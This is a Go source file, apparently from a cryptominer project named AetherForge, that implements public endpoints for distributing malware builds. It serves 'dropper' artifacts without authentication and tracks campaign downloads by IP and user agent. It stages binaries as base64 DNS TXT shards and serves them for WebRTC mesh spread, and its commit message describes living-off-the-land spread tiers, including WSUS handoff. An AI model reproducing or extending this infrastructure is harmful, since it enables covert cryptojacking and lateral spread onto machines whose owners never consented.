Files
AetherForge/server/internal/api/public_handler.go
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

212 lines
6.1 KiB
Go

package api
import (
"encoding/base64"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}